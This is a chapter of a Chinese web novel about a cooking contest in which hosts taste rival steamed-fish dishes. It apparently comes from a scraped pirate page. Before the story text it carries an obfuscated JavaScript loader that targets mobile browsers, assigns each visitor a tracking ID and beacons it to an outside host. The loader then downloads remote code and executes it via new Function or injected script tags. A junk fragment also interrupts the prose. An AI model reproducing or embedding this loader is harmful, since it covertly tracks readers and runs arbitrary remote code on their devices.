第1022章 第三道菜(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
隔壁餐厅赶紧将第三道菜端上。
清蒸鱼。???.iQue.iz
这道菜端上来,这厨师脸上是隐含着几分得意之色的。
因为清蒸鱼这个菜在他们店里确实是招牌菜,平时被点的次数十分频繁。
虽然之前有几个师兄背着师父出去单干,让师父很生气。
但是对于那几个始终跟在他身边的师兄还是挺好的。
他做清蒸鱼这一手,也是那一次师父教大师兄的时候,他正好在后面忙活,支棱耳朵听到了几句。
他不敢在店里做这道菜,但是回家后按照听来的做法做过几次,果然和他以前做的比大有进步。
所以今天这一道清蒸鱼,他心里是十分有底气的。
这道清蒸鱼模样也确实是很漂亮的,用的海鲈非常新鲜,鱼背上裂口露出里面雪白的鱼肉。
魏大厨做清蒸鱼的时候,不喜欢像别的餐厅那样在鱼背上划上几道,他觉得自然蒸裂开的更显得自然,也能昭示出鱼肉的新鲜。
有技术在,这道清蒸鱼不管是味道还是卖相,都是很不错的,三位评委品尝之后笑着点了点头,还夸奖了几句。
听到这话,这厨师悄悄松了口气,紧握的拳头放开。他虽然心里有底,可还是紧张,直到听到主持人的夸奖。
可松口气的瞬间,他心里又不忿起来。
他就说他们的菜怎么会比不过旁边一个小摊子?分明就是因为他们的菜出晚了,这三位主持人先入为主,觉得对方的更好吃。
现在他们的清蒸鱼先端上来了,果然得到了夸奖。
虽然心里暗暗埋怨白夜他们这个小摊子上菜抢占先机,也埋怨面前的三位主持人没吃过什么好东西,吃一个小摊子上做的菜,竟然还啧啧称奇。
很快白叶端着他这边的清蒸鱼也上桌了。
因为糅合了的是白水鱼的制作方法,所以这道清蒸鱼和传统的清蒸鱼的摆盘就不太一样。
“看看这道清蒸鱼,又是一个值得特写的。”
“陈老师,您说说这是什么地方的清蒸鱼做法?”
三人一边介绍菜品,一边开始品尝。
第一口入口鱼肉鲜嫩弹牙,带着微微的咸味。
三人都可以称得上一句老饕,所以这鱼肉一入口,他们就吃出了不一样的地方。
虽然两边选的都是鲈鱼,但从肉质的弹牙程度还有味道上可以清晰的感觉到两者完全不同。
同样的食材,同样的斤两,味道却有明显的差距,这里面必定是有什么独家秘方的。
“这个做法,应该是鲁菜的。但是光吃味道,又不大一样。不知道是改良的,还是什么情况,但是味道是真的很不错。不知道咱们本省是不是也有这样摆盘的。”
“那自然也是有的。清蒸鱼这种家常都可以做的菜,流派太多了。我们常见的那只是其中几种,而且一道菜究竟正不正宗这件事本来就没有人可以去评判。”
“是的是的。这些菜已经不属于某个人,所以是否正宗也不是某个人说了算的。”
“所以呀,好吃才是关键。”
此时柳鸿也从棚子那边走了过来,毕竟这道菜是他做的。
柳鸿帅气的长相从里面一出来就引起直播间弹幕的一通刷屏,和白叶不同,柳鸿并不是很喜欢穿厨师服,他只是在自己衣服的外面穿了一件围裙,却刚好将他眉眼衬得更加帅气。
当然了,这围裙也不一般。这是他亲手挑选的,舒曼给他买的。
柳鸿的衣服从不考虑价格,要的就是款式。他的衣品很好,如今这衣品也体现到了围裙上。
所以即便是穿着一件围裙走过来也是花孔雀一般,引得周围人频频侧目。
倒是无形中跟他做的清蒸鱼同款主题。
白叶微微侧过脸去,没眼看他二哥的孔雀开屏。
总觉得他二哥再这样下去,以后不光是要挨他爷爷的鞭子,还得挨他三姐舒曼的鞭子。
而三位主持人一抬头也看到了柳鸿。
“你很靓仔啊。”宋明眼睛一亮,“来来给我们介绍一下这道菜!